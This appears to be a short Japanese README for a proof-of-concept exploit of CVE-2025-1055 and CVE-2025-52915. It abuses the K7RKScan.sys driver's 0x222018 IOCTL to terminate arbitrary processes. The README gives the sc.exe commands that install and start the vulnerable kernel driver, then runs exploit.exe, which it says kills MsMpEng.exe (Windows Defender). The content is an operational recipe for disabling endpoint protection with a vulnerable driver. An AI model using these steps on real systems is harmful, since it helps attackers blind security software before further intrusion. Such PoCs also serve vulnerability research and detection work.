CVE-2025-1055-poc

CVE-2025-1055 および CVE-2025-52915 向けの PoC で、K7RKScan.sys を使用します。このPoCは、0x222018 IOCTLを使用して任意のプロセスを終了させます。

使い方

ドライバのインストール:

sc.exe create K7RKScan_1516.sys binPath=C:\Users\Administrator\Downloads\K7RKScan_1516.sys type=kernel && sc.exe start K7RKScan_1516.sys

PoC の実行:

exploit.exe

これにより、MsMpEng.exe プロセス (Windows Defender) が終了します。